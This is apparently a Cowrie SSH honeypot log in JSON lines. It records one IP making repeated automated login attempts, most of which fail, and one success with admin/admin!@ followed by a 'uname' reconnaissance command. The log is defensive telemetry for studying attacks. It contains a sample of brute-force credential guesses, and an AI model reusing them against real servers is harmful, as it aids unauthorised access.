{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56742,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d4f400bcf6","protocol":"ssh","message":"New connection: 192.109.200.78:56742 (10.17.0.5:22) [session: 24d4f400bcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:07.036325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:07.041929Z","src_ip":"192.109.200.78","session":"24d4f400bcf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:07.125357Z","src_ip":"192.109.200.78","session":"24d4f400bcf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:07.370372Z","src_ip":"192.109.200.78","session":"24d4f400bcf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:08.458323Z","src_ip":"192.109.200.78","session":"24d4f400bcf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56752,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d4b0ecc4d2f","protocol":"ssh","message":"New connection: 192.109.200.78:56752 (10.17.0.5:22) [session: 8d4b0ecc4d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:10.465975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:10.469038Z","src_ip":"192.109.200.78","session":"8d4b0ecc4d2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:10.549932Z","src_ip":"192.109.200.78","session":"8d4b0ecc4d2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:10.795291Z","src_ip":"192.109.200.78","session":"8d4b0ecc4d2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:11.888088Z","src_ip":"192.109.200.78","session":"8d4b0ecc4d2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40016,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed3f297f922e","protocol":"ssh","message":"New connection: 192.109.200.78:40016 (10.17.0.5:22) [session: ed3f297f922e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:13.842482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:13.846804Z","src_ip":"192.109.200.78","session":"ed3f297f922e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:13.928325Z","src_ip":"192.109.200.78","session":"ed3f297f922e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:14.176590Z","src_ip":"192.109.200.78","session":"ed3f297f922e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:15.261595Z","src_ip":"192.109.200.78","session":"ed3f297f922e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40032,"dst_ip":"10.17.0.5","dst_port":22,"session":"77b437a560b5","protocol":"ssh","message":"New connection: 192.109.200.78:40032 (10.17.0.5:22) [session: 77b437a560b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:17.478698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:17.507522Z","src_ip":"192.109.200.78","session":"77b437a560b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:17.576393Z","src_ip":"192.109.200.78","session":"77b437a560b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nD6ffS9msOngs","message":"login attempt [root/nD6ffS9msOngs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:17.894813Z","src_ip":"192.109.200.78","session":"77b437a560b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:18.982251Z","src_ip":"192.109.200.78","session":"77b437a560b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40048,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbec79fbb43c","protocol":"ssh","message":"New connection: 192.109.200.78:40048 (10.17.0.5:22) [session: fbec79fbb43c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:20.900064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:20.906105Z","src_ip":"192.109.200.78","session":"fbec79fbb43c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:20.988432Z","src_ip":"192.109.200.78","session":"fbec79fbb43c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:21.234354Z","src_ip":"192.109.200.78","session":"fbec79fbb43c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:21.541212Z","src_ip":"192.109.200.78","session":"fbec79fbb43c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:21.544813Z","src_ip":"192.109.200.78","session":"fbec79fbb43c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:21.629667Z","src_ip":"192.109.200.78","session":"fbec79fbb43c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:21.633080Z","src_ip":"192.109.200.78","session":"fbec79fbb43c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34722,"dst_ip":"10.17.0.5","dst_port":22,"session":"c403c84d2642","protocol":"ssh","message":"New connection: 192.109.200.78:34722 (10.17.0.5:22) [session: c403c84d2642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:24.292499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:24.295593Z","src_ip":"192.109.200.78","session":"c403c84d2642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:24.376222Z","src_ip":"192.109.200.78","session":"c403c84d2642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:24.892972Z","src_ip":"192.109.200.78","session":"c403c84d2642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:25.976949Z","src_ip":"192.109.200.78","session":"c403c84d2642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34746,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a4d399fd26d","protocol":"ssh","message":"New connection: 192.109.200.78:34746 (10.17.0.5:22) [session: 8a4d399fd26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:28.110107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:28.114314Z","src_ip":"192.109.200.78","session":"8a4d399fd26d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:28.195083Z","src_ip":"192.109.200.78","session":"8a4d399fd26d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:28.437827Z","src_ip":"192.109.200.78","session":"8a4d399fd26d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:29.522045Z","src_ip":"192.109.200.78","session":"8a4d399fd26d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34756,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e074b852873","protocol":"ssh","message":"New connection: 192.109.200.78:34756 (10.17.0.5:22) [session: 9e074b852873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:31.504888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:31.509222Z","src_ip":"192.109.200.78","session":"9e074b852873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:31.590166Z","src_ip":"192.109.200.78","session":"9e074b852873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:31.845358Z","src_ip":"192.109.200.78","session":"9e074b852873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:32.929502Z","src_ip":"192.109.200.78","session":"9e074b852873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59242,"dst_ip":"10.17.0.5","dst_port":22,"session":"255d7fbb5505","protocol":"ssh","message":"New connection: 192.109.200.78:59242 (10.17.0.5:22) [session: 255d7fbb5505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:34.978872Z"}
